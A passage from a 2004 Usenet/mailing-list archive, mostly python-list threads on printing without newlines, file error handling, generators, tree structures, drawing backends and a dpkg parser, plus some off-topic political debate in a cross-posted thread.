> suppress > >>>printing of a newline. Am I misunderstanding this feature? How can I > > use > >>>print and not have a newline appended at the end? >>> >> >> Print doesn't want to leave the *final* line without a newline. >>sys.stdout.write() doesn't care if your shell prompt gets mixed in with >>the last line of output. You'll need to use the latter if that's what >>you want. >> >>exarkun at boson:~$ python -c "import sys; sys.stdout.write('here')" >>hereexarkun at boson:~$ >> >> Jp > > > Ok, I can use sys.stdout.write(). Still, this comma at the end thing does > not seem very consistent. Before the last line, while it does suppress the > newline, a space is still added to the output. Why is that? Yes, I have > seen spaces added between items in the print statement and, while it is > probably convenient at times, is frequently an annoyance. > > C:\src\projects\test1>python -c "print 'here',;print 'there'," >jjj > > C:\src\projects\test1>od -c -tx1 jjj > 0000000 h e r e t h e r e \r \n > 68 65 72 65 20 74 68 65 72 65 0d 0a > 0000014 > > From flavell at ph.gla.ac.uk Tue Sep 7 09:34:32 2004 From: flavell at ph.gla.ac.uk (Alan J. Flavell) Date: Tue, 7 Sep 2004 14:34:32 +0100 Subject: Xah Lee's Unixism In-Reply-To: <cqspj0h044pidk4c6an3egnbaca0h8r1im@4ax.com> References: <slrncj1745.t5q.amajorel@atc5.vermine.org> <413af268$0$19706$61fed72c@news.rcn.com> <rv1hhc.mtv2.ln@via.reistad.priv.no> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> <opsdxecgt8pqzri1@mjolner.upc.no> <Pine.LNX.4.61.0409062355010.20478@ppepc56.ph.gla.ac.uk> <cqspj0h044pidk4c6an3egnbaca0h8r1im@4ax.com> Message-ID: <Pine.LNX.4.61.0409071415020.21175@ppepc56.ph.gla.ac.uk> On Tue, 7 Sep 2004, K?re Olai Lindbach wrote: > On Mon, 6 Sep 2004 23:55:28 +0100, "Alan J. Flavell" > <flavell at ph.gla.ac.uk> wrote: > > >On Tue, 7 Sep 2004, John Thingstad wrote: > > > >> It was the realization of www (CERN) that spawned the movement toward the > >> Internet. > > > >Eh? > > http://www.hitmill.com/internet/web_history.asp > Or rather the history of Tim Berners-Lee. Try http://www.w3.org/History.html I'm sorry - I didn't really mean to trap anyone into trying to teach Great-Uncle Alan how to suck eggs. It's just that those of us who had /some/ contact with the original developments (and mine was fairly tenuous, I confess) would have told the story of the development of the /Internet/ quite differently. But I leave that to other "old farts" who are already posting their versions ;-) I've no disagreement that the availability of a graphical web browser was -one- of the driving forces towards wider access to and commercialisation of the Internet. But that didn't emerge on any kind of scale until 1994-ish and later. "Eternal September" dates from 1993. To toss just another data point into the ring. From maney at two14.net Sat Sep 18 18:07:14 2004 From: maney at two14.net (Martin Maney) Date: Sat, 18 Sep 2004 17:07:14 -0500 Subject: So I guess PyUI is long abandonded? What else is there? In-Reply-To: <864d3709040918140135a95917@mail.gmail.com> References: <cihu17$c4b$1@wheel2.two14.net> <864d3709040918140135a95917@mail.gmail.com> Message-ID: <20040918220714.GA12502@furrr.two14.net> On Sat, Sep 18, 2004 at 06:01:13PM -0300, Carlos Ribeiro wrote: > I've checked PyUI right now, and it seems that there is a release > numbered "1.0" - which is a sign that it must have reached a somewhat > stable stage. The win32 ZIP file that I've downloaded does not > contain any windows specific dll, pyd or exe file, but only pure > Python code. Yes, as an already-installed tree with the files compiled - well, that explains the 1.0.Py2-2 versioning in the name. Anyway, I've found the problem buried in a feature request at the project's sourceforge site. In his own words: The OpenGL renderer on 0.95 depends on WGL which is available only on Windows implementations. Support for other platforms such as Mac and Linux would be nice. Since the project description claims it, yeah, that sure would be nice. This perfectly explains the errors I've been seeing. Thanks, Carlos, you stirred me to dig deeper and put the nail in it - it's another case of "Microsoft compatibility" leading another poor fool astray. This truly does help. Now I can stop wondering whether it was something I was doing wrong and walk away from this waste of time. Would some god-like person with access please make a note of this on the uneditable PyUi page on the wiki? Then there'd be at least a chance others could avoid wasting their time. Thanks! -- Microsoft, which used to say all the time that the software business was ruthlessly competitive, is now matched against a competitor whose model of production and distribution is so much better that Microsoft stands no chance of prevailing in the long run. They're simply trying to scare people out of dealing with a competitor they can't buy, can't intimidate and can't stop. -- Eben Moglen From jmfbahciv at aol.com Mon Sep 13 06:39:16 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Mon, 13 Sep 04 10:39:16 GMT Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <opsd2vlvy7pqzri1@mjolner.upc.no> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <41444b6a$0$6932$61fed72c@news.rcn.com> <87zn3v7ekc.fsf@p4.internal> <41446336$0$6925$61fed72c@news.rcn.com> <87pt4r771o.fsf@p4.internal> Message-ID: <41458c14$0$2648$61fed72c@news.rcn.com> In article <87pt4r771o.fsf at p4.internal>, Bulent Murtezaoglu <bm at acm.org> wrote: >>>>>> "jmf" == jmfbahciv <jmfbahciv at aol.com> writes: >[...] > jmf> Would rather he do like Italy? They are letting them go. > jmf> Then these released people go blow up something else. [...] > bm> Why are those the only two choices? Do you think people turn > bm> into bomb-wielding terrorists by feat of mere suspicion? > > jmf> Oh, sigh! [emoticon begins to hit head against wall because > jmf> it feels better] > >I didn't mean to upset you. But sigh indeed. <GRIN> I'm about to sigh back at you. > .. Offtopic in all groups >too. I don't know where you are so I can't trim newsgroups. I'm in a.f.c. > ..Maybe we should get jailed? Who knows _what else_ we might be >up to? Can't be too cautious these days. What color was that alert >now? Better call the authorities. > > bm> I don't think the US abuses the 'enemy combatant' device as > bm> much as we fear, yet. > > jmf> Hint..the US isn't abusing enemy combatants. > >Um, I said 'the enemy combatant device' not the people themselves. >There's no doubt that the people themselves are being abused. That's >the whole point of a separate status, no? I thought the 'enemy >combatant' designation was devised to go around both the US law, Sigh! US law doesn't apply in Afghanistan nor any other country. > ...and >the Geneva Convention pertaining to POWs. What people are not getting treated using the Geneva Convetion terms? > ... As for the _US_ doing it, >yes you are correct, the nation itself isn't doing it. Indeed the >whole reason for the invention of this odd locution was the thought >that the nation would have expected its gov't to at least appear >to stay within certain boundaries. Maybe they needen't have bothered? > > >> ... But if the people in the US are convinced that the choice > >> is between getting blown up and secret detentions w/o judicial > >> oversight then it will get far worse than we fear. [...] > > jmf> WHAT SECRET DETENTIONS? > >Responding in "hints" and ALL CAPS brings us to the ludicrous situation >where a Turk gets to give a pointer to the ACLU to an American: > >http://www.aclu.org/SafeandFree/SafeandFree.cfm?ID=13079&c=207 I'm not going to be able to get out to read that one. Just mentioning the ACLU gives me the bias that you're listening with a BS filter. ACLU has gone bonkers in that they've become completely inconsist these days. > >;) > >cheers, > >BM > > > >> I am beginning to think the US gov't and populace alike might > >> be believing the "they hate us for our freedoms" line and > >> trying to get rid of the said freedoms in the hope that it will > >> appease the terrorists. > > jmf> Now there you actually made a point, but not the one you > jmf> think you did. > >Let's hear it. The ACLU types that you're listening to are giving away our (the US) freedoms to people who don't want us to have them. IOW, these liberal types are working in concert with these militants. <snip...I hate the way your software prefixes these posts> /BAH From narshe at gmail.com Sat Sep 25 17:59:12 2004 From: narshe at gmail.com (Josh Close) Date: Sat, 25 Sep 2004 16:59:12 -0500 Subject: Python and Sybase In-Reply-To: <1gkopls.g4hts41uwsqauN%aleaxit@yahoo.com> References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu> <mailman.3815.1095972439.5135.python-list@python.org> <1gkn9go.1d3dgwh4edmdrN%aleaxit@yahoo.com> <mailman.3905.1096130202.5135.python-list@python.org> <1gkopls.g4hts41uwsqauN%aleaxit@yahoo.com> Message-ID: <4a0cafe2040925145927c8acbf@mail.gmail.com> On Sat, 25 Sep 2004 19:47:24 +0200, Alex Martelli <aleaxit at yahoo.com> wrote: > No support for parameters?! Talk about junk...!-( > > Alex Well put! -Josh From davebrok at soda.csua.berkeley.edu Mon Sep 13 23:12:07 2004 From: davebrok at soda.csua.berkeley.edu (David Pokorny) Date: Mon, 13 Sep 2004 20:12:07 -0700 Subject: Greenlets: where are they now??? References: <foadnUs_VtNpFdncRVn-jQ@lmi.net> <x6SdnVJ8pp4xC9ncRVn-rQ@powergate.ca> <ZaCdnQBXf-iU2djcRVn-hA@lmi.net> <29Cdnar3ZOqUFtjcRVn-pg@powergate.ca> Message-ID: <BqqdnY4Yhf-d_9vcRVn-sw@lmi.net> "Peter Hansen" <peter at engcorp.com> wrote in message news:29Cdnar3ZOqUFtjcRVn-pg at powergate.ca... > > Greenlets are about 90% of a solution (which I've thought hard about) to the > > problem of interrupting an execution after 50 byte-code, while retaining the > > ability to resume the execution (for, say, another 50 byte codes). > > Python's regular threads already allow this, so there must be > something more to it. I haven't the faintest idea how to gain fine control over threads. In particular, suppose I have 10 of these "executions" going (lets call them "steplets") and I want to run each of them for 50 byte-codes, then switch back to the controlling thread and do lots of bookkeeping (I don't control the code that the steplets run). I also have a bunch of other processes that I don't want to take part in this "cycle rationing" but rather run as honest threads. David From martin at v.loewis.de Wed Sep 8 14:18:39 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 08 Sep 2004 20:18:39 +0200 Subject: %a format In-Reply-To: <16703.9151.854368.874866@montanaro.dyndns.org> References: <20040907182925.GA27643@grulic.org.ar> <16702.1779.773067.819528@montanaro.dyndns.org> <20040908130837.GB4749@grulic.org.ar> <16703.9151.854368.874866@montanaro.dyndns.org> Message-ID: <413F4CFF.4030908@v.loewis.de> Skip Montanaro wrote: > >> Can you provide a patch against Objects/stringobject.c in the > >> distribution? Note that Python uses sprintf() to do its dirty work, > >> so any patch would have to implement %a itself to remain compatible > >> with C89. > > John> is remaining compatible with C89 a requirement? > > For the forseeable future I suspect so. It was only a couple years ago that > ANSI C became a requirement for building CPython. Martin v. L?wis could > provide a more authoritative response. Indeed, we can't assume C99 for atleast 5 more years or so - for example, VC.NET doesn't even implement it, even though that was published 2003 (curiously, they cite "time constraints" as a reason :-); whether they implement %a anyway, I don't know. For the specific feature, I think a non-libc implementation would be possible, since Python uses IEEE representation for floating point numbers on most platforms (although atleast the VMS port doesn't necessarily). Whether it is reasonable to implement this by mere bit copying is a question that Tim Peters should answer :-) Whatever the strategy, I think it should either work on all possible systems, or on the majority and give an exception elsewhere. Regards, Martin From hjwidmaier at web.de Thu Sep 30 12:40:13 2004 From: hjwidmaier at web.de (Hans-Joachim Widmaier) Date: Thu, 30 Sep 2004 18:40:13 +0200 Subject: File handling: The easy and the hard way References: <pan.2004.09.30.13.56.48.18412@web.de> <_WU6d.1785$TY2.1104@lakeread04> Message-ID: <pan.2004.09.30.16.40.12.209964@web.de> Am Thu, 30 Sep 2004 10:37:49 -0400 schrieb Steve Holden: > I agree we really shouldn't expect users to have to see tracebacks, but > that doesn't mean that exception handling has to be sophisticated. > > Here's something I'd consider acceptable, which doesn't add hugely to > the programming overhead for multiple files but doesn't burden the user > with horrible tracebacks. I've used it to print itself, so you see how > it works and what it contains all in the same output: > > sholden at DELLBOY ~ > $ ./ft.py one.py ft.py > Problem handling file one.py : [Errno 2] No such file or directory: 'one.py' Yes, this should be acceptable for the simple scripts I mentioned. > #!/usr/bin/python > # > # ft.py: simple multi-file processor with error handling # import sys > > files = sys.argv[1:] > > for f in files: > try: > for l in file(f): > sys.stdout.write(l) > except Exception, reason: > print >> sys.stderr, "Problem handling file", f, ":", reason Looks very familiar, but doesn't handle '-' (stdin) (but that's another story, albeit somewhat related). ;-) > I'm quite happy to let the process-termination housekeeping code, or > perhaps (in some implementations) the Python housekeeping at garbage > collection, close the file, which you might think is unduly sloppy. What > can I say, the user pays if they don't want sloppy :-). But I'd consider > this sufficiently close to "production quality" to be delivered to > end-users. Clearly you can add file assignment to a variable and a > try/finally to ensure it's closed. You gets what you pays for. I often do that, too. But every time I do it, I feel guilty. (I did my first somewhat more serious programming on an Amiga, where the OS did _not_ clean up after you - which formed a habit of religiously keeping track of and freeing each and every resource in each and every case.) > Well, the more complex your processing gets the more complex your > error-handling gets too, This doesn't come as a surprise. :-) Yet I can see a class of basically simple programs that are nonetheless meant to be of "production quality" and where _most_ of the complexity stems from handling these errors. > but I'd say you should look at some serious refactoring here - you > appear to have what's sometimes called a "code smell" in extreme > programming circles. See > > http://c2.com/cgi/wiki/?CodeSmell Never heard of that before. ;-) Anyway, maybe my understanding of 'refactoring' is wrong, but isn't my desire to 'factor out' the error handling so I can make it rigid/good and reusable (a good incentive for me!) what might be called refactoring? Cluttering every script with always the same error handling pattern, well, does have a smell to me. These things are just too common to not being solved once and hidden in, e.g., a module. > The problem that any such approach is likely to have can be summed up as > "If processing is complicated then error-handling may also become > complicated, and error-recovery even more so". You shouldn't expect it > to be too simple, but if it's too complex then you might find that a > restructuring of your program will yield better results. I do not think it'd be too simple. I think I can (mostly) cope with the complexity. I'm disappointed because I haven't yet found a nice solution where I can _hide_ this complexity and do not have to slap it in every file that starts with '#!/usr/bin/env python'. Still dreaming of a File object that does all this, maybe with a helper module "fileerrhandler". Granted, the name is ugly. ;-) ["The Mythical Man-Month"] > The combination of all three components is to be found in beasts > sometimes known as "software engineers", frequently held by some to be > mythical. Now this is a title that can never be applied to me. I'm basically a hardware designer, mostly writing embedded programs and doing system administration by now. And I must admit that I never really *learned* programming. I'm not in the same league as most others here, so I'm always uncertain whether my gut feeling (nose tingling?) is correct or totally off track. > If I were feeling cynical, I might sum this up by saying "Python is a > programming language, not a f***ing magic wand". But that won't stop > people from looking for the silver bullet that solves all their problems > in a songle line of code. I daresay that if 'sprintf()', 'gets()' and the like never existed, there would be a lot less CERT advisories. Or, if a file type enforces sane error handling, there would be less tracebacks. :-) > Hope this helps, and doesn't come across as critical. Your questions are > reasonable, and show a sincere appreciation of the difficulties of > producing high-quality software. And we don't ever want anything else, > do we? I'm very grateful for your detailed reply. clp always strikes me as being a place where you don't get smart-ass replies but elaborate answers that sometimes look like articles in a classy magazine. Thank you very much for your time and suggestions, Hans-Joachim From cbfalconer at yahoo.com Thu Sep 16 11:51:05 2004 From: cbfalconer at yahoo.com (CBFalconer) Date: Thu, 16 Sep 2004 15:51:05 GMT Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <opsd2vlvy7pqzri1@mjolner.upc.no> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <chsu8b$ujb$1@grandcanyon.binc.net> <Eeo0d.18563$Qx2.9439@newssvr29.news.prodigy.com> <ci4gs0$23p$1@grandcanyon.binc.net> <m3pt4qc57f.fsf@europa.pienet> <ci707n$miq$1@grandcanyon.binc.net> <m3ekl4wk35.fsf@europa.pienet> <ci9j6q$c4h$1@grandcanyon.binc.net> Message-ID: <4149B516.17F7F078@yahoo.com> Chuck Dillon wrote: > ... snip ... > > Going into Iraq was IMHO justified without consideration of 9/11 > or the war on terror. Setting up a more democratic and educated > Afghanistan and Iraq blows a big whole in Islam's isolation > efforts and forces them to deal with the reality of the 21st > century. The process will be bumpy but we can no longer be > patient when the mainstream of Islam allow violence on the scale > of 9/11 or beyond to occur. I disagree. Afghanistan, yes. Chasing Bin Laden, yes. They were the direct cause of 9/11 (which was not a unique occurance, except in degree). Iraq, no. That was the descendent of "avenge disrespect to Daddy" syndrome, and has been shown to have no connection with either 9/11 nor with WMDs. The whole business has effectively ended the punishment phase of 9/11 and justified it in the minds of many Moslems. For a short while there was an opportunity to do an exemplary job in Afghanistan and show the Islamic world the possibilities. That has been thrown away by our Glorious Inept Leaders. -- "This is a wonderful answer. It's off-topic, it's incorrect, and it doesn't answer the question." -- Richard Heathfield "I support the Red Sox and any team that beats the Yankees" From danperl at rogers.com Sun Sep 26 15:47:13 2004 From: danperl at rogers.com (Dan Perl) Date: Sun, 26 Sep 2004 15:47:13 -0400 Subject: convert flat structure into hierarchical one References: <mailman.3941.1096224597.5135.python-list@python.org> Message-ID: <ELWdnTnBOMlegcrcRVn-gg@rogers.com> I started writing a script that would implement a solution to your problem, but it turned out that it is not so trivial. You have all kind of issues, depending on whether your structure is sparse or not, and what especially made me give up (I may still try it later, but right now I don't have the time) is that you may retrieve a child before its parent, so either you create a dummy that you update later, or you recursively retrieve all the ancestors in the tree up to the root of the tree. Here is my suggestion in brief, though. Implement a class for the tree and a class for the tree nodes. The 'tree' class keeps a list of instances of the 'tree node' class. Depending on the sparsity of the tree, you can have a list indexed by the id's of the nodes (with None for empty spaces), or an arbitrary list and you do the search for the node in the list that has the particular id. The 'tree node' class would have 4 attributes: id, name, parent_id, and children. 'children' would be a list. BTW, this attribute is not mandatory, but it is more efficient having it if it is rarely updated but often accessed. The 'tree' class would also have a method 'addNode'. In it, create a new instance of the 'tree node class', add it to the list in the tree and update the node matching the parent_id. Here is where the complication come in. You may have to pad the list with 'None' and you may not yet have a node matching the parent in the 'tree' list. Override the __getitem__ method in the 'tree' class to retrieve the node based on its id. Hope this helps. Dan "Ksenia Marasanova" <ksenia at ksenia.nl> wrote in message news:mailman.3941.1096224597.5135.python-list at python.org... >I get this kind of list from a database. (The tuple structure is: id, name, >parent_id) > > [(1, 'grandparent', None), (2, 'parent', 1), (3, 'otherparent', 1), (4, > 'child', 3)] > > I would like to transfer it (in Python) into a tree structure. I don't > care much about format, as long as I'll be able to get all the > information, based on one id. For example, if I have id=3, I want to get > - name ('otherparent') > - children (one child, with id=4, name='child') > - parent id > > Any tips? Recipes? ;-) > > > Thanks, > Ksenia. > From jdhunter at ace.bsd.uchicago.edu Wed Sep 15 07:17:24 2004 From: jdhunter at ace.bsd.uchicago.edu (John Hunter) Date: Wed, 15 Sep 2004 06:17:24 -0500 Subject: How should a drawing program render? In-Reply-To: <2qpin5F12h2snU1@uni-berlin.de> (Leif K-Brooks's message of "Tue, 14 Sep 2004 21:07:48 -0400") References: <2qpin5F12h2snU1@uni-berlin.de> Message-ID: <m23c1j4w8r.fsf@mother.paradise.lost> >>>>> "Leif" == Leif K-Brooks <eurleif at ecritters.biz> writes: Leif> I'm considering writing a fairly basic vector drawing Leif> program using PyGTK. What's the best way to render it? What Leif> I'm thinking of is having everything render on a PIL image, Leif> then display that in the GTK window or save it depending on Leif> what's being done. Is that the best strategy? Will it be Leif> fast enough? -- The first obvious candidate of course is to use a gtk.Drawable, ie native gtk drawing. That is what I started with matplotlib and it does a respectable job, and it is fast. It does not support antialiased drawing, which is a limitation, and is not natively vector based, which is another. The larger problem with this approach is your application may one day grow beyond your initial plans and you may want to port it to other GUIs. At that point, it's easier to port if you used some GUI independent buffer to draw into and simply blit the contents of that buffer to your GUI canvas of choice. matplotlib, inspired by the plotting package chaco, uses the antigrain library (http://antigrain.com) for drawing to a buffer, and then this buffer is transferred to the GUI canvas (wx, pygtk, fltk and tk currently). antigrain is a very powerful, modular, vector based c++ library for doing antialiased drawing, and supports most things you would want in a 2d library: paths, even-odd filling, arbitrary clipping, antialiasing, alpha, gamma and so on. You can use enthought's chaco package and matplotlib as examples if you want to go this route - each takes a different approach to wrapping and using antigrain. matplotlib contains code to blit the antigrain buffer to pygtk, and the other GUIs mentioned above. Since antigrain is already vector based, it is a natural candidate to support a vector graphics app, unlike the native gtk drawing model. Also, you should look at wxart2d (http://wxart2d.sf.net), which uses antigrain to develop a vector library for wx, much like what you are proposing for gtk. As for performance, on a modern pentium computer, I can draw and blit to gtk about 50 frames per second using the gtk/agg matplotlib backend for simple images. For more complex graphics, eg if image resizing and interpolation is involved, the rate is about 10fps for typical window sizes. YMMV. Of course, if you are allergic to C++, this may not be your best option. JDH From jdc at uwo.ca Thu Sep 2 23:50:09 2004 From: jdc at uwo.ca (Dan Christensen) Date: Thu, 02 Sep 2004 23:50:09 -0400 Subject: Recursive Generator Question References: <6543373d.0409021839.5caff11d@posting.google.com> Message-ID: <87u0ug3tam.fsf@uwo.ca> pchiusan at umich.edu (Paul Chiusano) writes: > I've been playing around with generators and have run into a > difficulty. Suppose I've defined a Node class like so: > > class Node: > def __init__(self, data=None, left=None, right=None): > self.children = [] > self.children.append(left) > self.children.append(right) > self.data = data > > def __iter__(self): return self > > def next(self): > """ Returns iteration over terminal nodes of this tree. """ > if self.data: > yield self > else: > for child in self.children: > for terminal in child: > yield terminal If you are defining next yourself, you are defining an iterator, not a generator, and you should use return statements, not yield statements. But then you also need to keep track of where you are in the tree. If you like to use a generator to save the state for you, one way that works is the following. class Node: def __init__(self, data=None, left=None, right=None): self.children = [] self.children.append(left) self.children.append(right) self.data = data def __iter__(self): if self.data != None: yield self.data for child in self.children: if child != None: for terminal in child: yield terminal a = Node('a') b = Node('b') c = Node('c') d = Node('d') ab = Node(left=a, right=b) cd = Node(left=c, right=d) abcd = Node(left=ab, right=cd) for termNodes in abcd: print termNodes # Produces: # # a # b # c # d Notes: - __iter__ is a generator, so when called it returns an iterator - No explicit next method - termNodes.data changed to termNodes - child != None checked To the experts: I don't recall seeing __iter__ be a generator like this before. How would you code it? Dan From mailtome200420032002 at yahoo.com Thu Sep 16 11:54:16 2004 From: mailtome200420032002 at yahoo.com (john) Date: 16 Sep 2004 08:54:16 -0700 Subject: How to go about developing in zope Message-ID: <4c900ea0.0409160754.2158e732@posting.google.com> Hi I am developing a timesheet system. It will have 3 levels of access 1)Administrator 2)Approver -- Will approve or reject the timesheet filled by employees 3)Employees -- Fill in the timesheet which will ontain info like start time & end for task & task description. There will be different projects with different employees & approvers Also I need to genrate reports like timesheet for an employee for this particular week or month.Or timesheet of a project etc.. Is zope suitable for such kind of application? I read the zope book & now I am more confused. What is the best way to develop such kinda application in zope? From fumanchu at amor.org Thu Sep 23 02:23:07 2004 From: fumanchu at amor.org (Robert Brewer) Date: Wed, 22 Sep 2004 23:23:07 -0700 Subject: newbie evaluation Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022F03@exchange.hqamor.amorhq.net> Ismael Herrera wrote: > Hi , i am new to python , and this is my first wanna-be > program, it would > help me a lot if you point me my mistakes or bad design, bad > practice or an > easier , faster ,cleaner or better way to program since dont > want to stick > with bad practices. Off the cuff: 1. Read PEP 8 (http://www.python.org/peps/pep-0008.html) and follow its recommendations regarding whitespace, if you can. 2. In the block: > def load(self): > > try : > > #open the database file > f = open('/var/lib/dpkg/available','r') > > except : raise IOError ...why not just let any exception which open() raises propagate outward? There is *very* rarely a need in Python to trap all exceptions with a bare "except:" clause. If you just re-raise IOError, there's no point in trapping at all. 3. (The biggie) Why use a class for dpackagedb instead of a function? Below is a complete, minimally-tested version which uses a simple state-machine function instead. It makes one pass over the data and is probably quite a bit faster than the class-based version. I also dropped the regex since we now iterate over each line one by one. 4. Even if you keep the class-based approach, you don't need the class attributes like "PKG = 'Package'" -- they just mess up the namespace and don't add any value. Use the actual field names instead. 5. Do you really need all of those attributes (like "arquitecture") to be "top-level" for the dpackage objects? I chose to put them in a subclass of dict instead. The difference is that you would refer to "dpackage().arquitecture" in your scheme and "dpackage()['Architecture']" in mine. If you still want the non-English terms, re-introduce a dict lookup when the field names are parsed. 6. When you want to remove the last item in a list, use list.pop(). 7. My version is about half the length of yours (so stop putting blank lines between every statement ;). Although a state machine might seem more complex, it's actually easier to grasp at once since it all fits on a single page of code (on my screen, anyway). ----------- #!/usr/bin/python fieldnames = ['Package', 'Priority', 'Section', 'Installed-Size', 'Maintainer', 'Architecture', 'Source', 'Version', 'Replaces', 'Depends', 'Conflicts', 'Size', 'Description'] class dpackage(dict): """A package in the Debian 'available packages' database.""" def __str__(self): return "\n".join(["%s = %s" % (k, self.get(k)) for k in fieldnames]) def all_packages(): f = open('/var/lib/dpkg/available', 'r') db = [] pkg = dpackage() desc = [] for line in f: if line != "\n": if line.startswith('Description'): # Add the line to the description. # A non-empty 'desc' signals we are in the # description-gathering state. desc.append(line) else: if desc: desc.append(line) else: # Parse the line and add to the current package k, v = line.split(":", 1) v = v.strip() if k in ('Depends', 'Recommends'): pkg[k] = v.split(",") else: pkg[k] = v else: # Finalize the current package and store it if desc: pkg['Description'] = "".join(desc) desc = [] if pkg: db.append(pkg) # Make a new, empty package object pkg = dpackage() f.close() # Not sure why you drop the last item, # but you must have a reason. db.pop() return db if __name__ == '__main__': for x in all_packages(): if x: print x ----------- ...and here's the test output: >>> d = debpkg.all_packages() >>> len(d) 10823 >>> print d[0] Package = cl-infix Priority = optional Section = non-free/devel Installed-Size = 64 Maintainer = Kevin M. Rosenberg <kmr at debian.org> Architecture = all Source = None Version = 19960628.1-2 Replaces = None Depends = ['common-lisp-controller (>= 3.37)'] Conflicts = None Size = 15242 Description = Description: an infix reader macro for Common Lisp This package provides an infix reader macro for Common Lisp, allowing use of more traditional mathematical syntaxes in Common Lisp programs. Hope that helps, Robert Brewer MIS Amor Ministries fumanchu at amor.org From robin at wiretooth.com Fri Sep 3 00:27:39 2004 From: robin at wiretooth.com (Robin Bryce) Date: Fri, 03 Sep 2004 05:27:39 +0100 Subject: using generators for event handling in python. (simpler version) In-Reply-To: <2eMZc.1265$ZS6.396@trndny07> References: <mailman.2777.1094146412.5135.python-list@python.org> <2eMZc.1265$ZS6.396@trndny07> Message-ID: <1094185659.7733.16.camel@localhost.localdomain> I removed the generalised exception passing and just deal with values and StopIteration now. fork is gone but the behaviour is not. I've chopped down the discussion a lot and removed the twisted examples. Also made an effort to make the source more readable. I had a think about what I was doing and why. I think what I'm saying is that I want to pass values into a generator and leave it to that generator to decide how to update its local attributes (its state) if at all. I definitely need to carefully re-read: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/164044 This is the version with the above changes. http://www.wiretooth.com/python/eventhub/valuehub_recipe.html Still trying to think of tighter example that sums everything up. Thanks, Robin Bryce On Thu, 2004-09-02 at 22:26, Raymond Hettinger wrote: > > I've been looking at generators from the context of event oriented web > > application development. I was thinking of submitting a version of > > http://www.wiretooth.com/eventhub_recipe.html as a recipe for the python > > cookbook. > > It's somewhat long for a recipe. Do you have more compact code that conveys the > essense of your approach? > > > Raymond Hettinger > From dperl at rogers.com Wed Sep 1 12:01:30 2004 From: dperl at rogers.com (Dan Perl) Date: Wed, 01 Sep 2004 16:01:30 GMT Subject: initializing mutable class attributes References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com><1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com><eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com><1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com><8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com><1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com><iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com> <m3n00aggxu.fsf@g2ctech.com> Message-ID: <unmZc.157756$UTP.69766@twister01.bloor.is.net.cable.rogers.com> My mistake. You're right, and it's all because of the inheritance from 'object', which probably defines a default, empty, __init__. I haven't made a habit of subclassing from 'object' yet and I see that I'll have to do that. Thanks. Dan "Jorge Godoy" <godoy at ieee.org> wrote in message news:m3n00aggxu.fsf at g2ctech.com... > "Dan Perl" <dperl at rogers.com> writes: > > > Not in Python. A user of my library has to invoke the parent's class > > __init__ in their own __init__. What happens if, in a future release, I get > > rid of the __init__ in the parent class? Or the other way around. An early > > release does not have a parent __init__, the users don't invoke it because > > they can't, and then, in a future release, I add the parent __init__ because > > I added some attributes. It breaks all the users' code. This is poor > > encapsulation. > > > I'm getting in the middle of the discussion so forgive-me if this example > doesn't apply here. > > > >>> class test(object): > ... def test(self): > ... print "Just a test" > ... > >>> class derived(test): > ... def __init__(self): > ... test.__init__(self) > ... def showit(self): > ... self.test() > ... > >>> d = derived() > >>> d.showit() > Just a test > >>> > > There was no "__init__" explicitly defined in 'test'. > > > Be seeing you, > -- > Godoy. <godoy at ieee.org> From joe at invalid.address Thu Sep 2 10:51:27 2004 From: joe at invalid.address (joe at invalid.address) Date: Thu, 02 Sep 2004 14:51:27 GMT Subject: Xah Lee's Unixism References: <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <du7k6vfnvx9.fsf@amadeus.cc.tut.fi> <4134AC88.56452265@yahoo.com> <aN2Zc.10226$QJ3.5466@newssvr21.news.prodigy.com> <4135cea1$0$19726$61fed72c@news.rcn.com> <%hmZc.17354$ni.569@okepread01> <m3vfeyc6mn.fsf@invalid.address> <41372e97$0$19727$61fed72c@news.rcn.com> Message-ID: <m33c20d8r5.fsf@invalid.address> jmfbahciv at aol.com writes: > In article <m3vfeyc6mn.fsf at invalid.address>, joe at invalid.address wrote: > >Steve Holden <sholden at holdenweb.com> writes: > > > >> jmfbahciv at aol.com wrote: > >> > >> > In article <aN2Zc.10226$QJ3.5466 at newssvr21.news.prodigy.com>, > >> > red floyd <no.spam at here.dude> wrote: > >> > > >> >>CBFalconer wrote: > >> >> > >> >> > >> >>>Dump Notepad and get Textpad. www.textpad.com. First class. > >> >>> > >> >> > >> >>Let the editor flame wars begin! > >> >> > >> >>Get gvim! www.vim.org > >> > You think notepad is an editor? <snort> You must be young > >> > and inexperienced in the ways of Real Man's Editing sports. > >> > > >> My choice? Definitely TECO, a real programmable editor from the > >> TOPS10 days. > >> > >> It would create a file if 